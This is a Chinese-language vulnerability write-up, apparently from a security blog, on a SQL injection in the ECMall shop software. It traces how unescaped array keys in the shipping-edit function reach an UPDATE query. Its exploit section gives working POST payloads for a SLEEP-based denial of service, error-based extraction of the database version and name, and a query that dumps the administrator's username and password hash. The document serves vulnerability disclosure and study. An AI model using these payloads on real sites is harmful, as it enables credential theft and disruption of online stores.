0x03:漏洞发现过程
问题出现在app/my_shipping.app.php下edit()函数:
/** * 编辑配送方式 * * @author Garbin * @return void */ function edit() { $shipping_id = isset($_GET['shipping_id']) ? intval($_GET['shipping_id']) : 0; if (!$shipping_id) { echo Lang::get('no_such_shipping'); return; } /* 判断是否是自己的 */ $model_shipping =& m('shipping'); $shipping = $model_shipping->get("store_id=" . $this->visitor->get('manage_store') . " AND shipping_id={$shipping_id}"); if (!$shipping) { echo Lang::get('no_such_shipping'); return; } if (!IS_POST) { /* 当前位置 */ $this->_curlocal(LANG::get('member_center'), 'index.php?app=member', LANG::get('my_shipping'), 'index.php?app=my_shipping', LANG::get('edit_shipping')); /* 当前用户中心菜单 */ $this->_curitem('my_shipping'); /* 当前所处子菜单 */ $this->_curmenu('edit_shipping'); $this->_get_regions(); $cod_regions = unserialize($shipping['cod_regions']); !$cod_regions && $cod_regions = array(); $this->assign('shipping', $shipping); $this->assign('cod_regions', $cod_regions); $this->assign('yes_or_no', array(1 => Lang::get('yes'), 0 => Lang::get('no'))); $this->import_resource('mlselection.js, jquery.plugins/jquery.validate.js'); header("Content-Type:text/html;charset=" . CHARSET); $this->display('my_shipping.form.html'); } else //来到else函数,也就是POST提交 { $data = array( 'shipping_name' => $_POST['shipping_name'], 'shipping_desc' => $_POST['shipping_desc'], 'first_price' => $_POST['first_price'], 'step_price' => $_POST['step_price'], 'enabled' => $_POST['enabled'], 'sort_order' => $_POST['sort_order'], ); $cod_regions = empty($_POST['cod_regions']) ? array() : $_POST['cod_regions']; foreach($cod_regions as $key=>$value) echo $key."=>".$value; $data['cod_regions'] = serialize($cod_regions);//出现在这里,serialize序列化$cod_regions(数组) $model_shipping =& m('shipping'); $model_shipping->edit($shipping_id, $data);//data数组被带入edit函数,我们跟进 if ($model_shipping->has_error()) { //$this->show_warning($model_shipping->get_error()); $msg = $model_shipping->get_error(); $this->pop_warning($msg['msg']); return; } $this->pop_warning('ok', 'my_shipping_edit'); } }
进入到/eccore/model/model.base.php,跟进data数组在edit函数下的处理过程:
/** * 简化更新操作 * * @author Garbin * @param array $edit_data * @param mixed $conditions * @return bool */ function edit($conditions, $edit_data) { if (empty($edit_data)) { return false; } $edit_data = $this->_valid($edit_data); if (!$edit_data) { return false; } $edit_fields = $this->_getSetFields($edit_data);//设置查询字段为key=>value格式,并逗号隔开返回; $conditions = $this->_getConditions($conditions, false);//设置最后的where查询条件,指定配送的id,并返回 $this->db->query("UPDATE {$this->table} SET {$edit_fields}{$conditions}"); return $this->db->affected_rows(); }
说明:_getSetFields和_getConditions函数均在/eccore/model/model.base.php下。
0x04:可利用的exp
看到上述分析大家可能觉得也就是那么简单,其实到最后的exp构造上还是费了劲的,可能我的mysql还是没学好,大牛勿喷啊。 先说下我失败的exp: http://localhost/ecmall/index.php?app=my_shipping&act=edit&shipping_id=21/*21是我要编辑的配送方式。*/ POST请求:(后面的exp均是post数据)
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1',shipping_name=(select password from ecm_member limit 1)#]=x
这个最终的查询语句是这样的: UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:0:{}' WHERE shipping_id = 21 很明显cod_regions被置空了,难道是全局过滤?全局过滤没有过滤key的啊,再看看我的exp,发现cod_regions[1',shipping_name=(select password from ecm_member limit 1)#]=x中”shipping_name=”已经出现一个”=”号,所以cod_regions就没能赋值成功。
1.拒绝服务payload: shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1' or SLEEP(10)#]=x
对应的更新语句: UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:1:{s:16:"1' or SLEEP(10)#";s:1:"x";}' WHERE shipping_id = 21
2.获取mysql版本: shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1'or updatexml(2,concat(0x7e,(version())),0)#]=v
对应的更新语句: UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:1:{s:45:"1'or updatexml(2,concat(0x7e,(version())),0)#";s:1:"v";}' WHERE shipping_id = 21 效果:
3.获取数据库名: shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1' or extractvalue(1,concat(0x7e,database()))#]=v
效果:
4.获取管理员账户密码:
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1'or (SELECT 1 FROM(SELECT count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))x from information_schema.tables group by x)a)#]=v
效果: